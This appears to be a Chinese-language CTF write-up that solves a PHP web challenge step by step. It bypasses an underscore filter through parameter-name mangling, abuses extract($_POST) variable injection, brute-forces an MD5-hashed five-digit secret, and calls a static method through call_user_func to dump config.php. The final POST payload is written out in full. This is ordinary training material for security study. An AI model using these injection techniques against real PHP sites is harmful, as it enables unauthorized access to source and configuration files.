1.首先看到下面这行代码;这个操作会将post请求中的请求体赋值给变量$str;
$str = file_get_contents("php://input");
2.然后来到正则表达式,若是变量$str中包含有指定字符( preg_match(指定字符,被检查字符$str));返回值为1;否则为0。extract($_POST):将post所有参数转为对应变量名;
extract():把数组的键作为变量名,值作为变量的值
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
3.向下看代码,检查变量$shaw_root是否存在;然后又是一个正则表达式;检查$shaw_root长度是否为29,且通过正则匹配函数;
if(isset($shaw_root)){
if(preg_match('/^\-[a-e][^a-zA-Z0-8](.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
echo $hint;
}else{
echo "Almost there."."
";
}
}else{
echo "
"."Input correct parameters"."
";
die();
}
5.正则表达式,分割解释,
^\- : 第一个字符匹配以 - 开头的字符,\转义;
[a-e] : 第二个匹配a-e字符;
[^a-zA-Z0-8] : 第三个字符匹配不包括a-zA-Z0-8的字符
: 接着匹配字符;
(.*) : 匹配任意数量字符;
>{4} : 接着匹配连续4个>字符;
\D*? :匹配任意数量的非数字字符;
(abc.*?):匹配以abc开始的任意数量的任意字符;
p(hp)* :匹配以p开始,任意数量的 hp 字符;
\@R : 匹配字符@R,\转义;
(s|r):匹配s或者r;
.$:以任意字符结尾;
6.如此,我们构建payload,如下:post请求体 参数名:shaw root或shaw[root,都可以解析为shaw_root;
shaw root=-a9aaa>>>>dsfdabcccphp@Rss
可以控制后的字符数量,其他他地方也可以,保证长度为29;回显如下:
Here is a hint :
md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5
结合最后一部分源码,还需要两个变量$ans和$my_ans;且这$ans变量与$SecretNumber完全相等(类型,值);满足条件,回调函数被$my_ans;
if($ans===$SecretNumber){
echo "
"."Congratulations!"."
";
call_user_func($my_ans);
}
7.通过第一步回显,$ans===$SecretNumber;且长度为5,满足
md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f
8.写个php代码爆破$ans值;为21475;(在线php运行环境:https://www.bejson.com/runcode/php)
21475
166b47a5cb1ca2431a0edfcef200684f
9.调用函数$my_ans,然后回到页面最前面;其中有一个静态方法,可以调用:
方式:classname::functionname
class qwq
{
function __wakeup(){
die("Access Denied!");
}
static function oao(){
show_source("config.php");
}
}
10.构建最终payload:
shaw root=-a9aaa>>>>dsfdabcccphp@Rss&ans=21475&my ans=qwq::oao
回显如下:
Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5
Congratulations!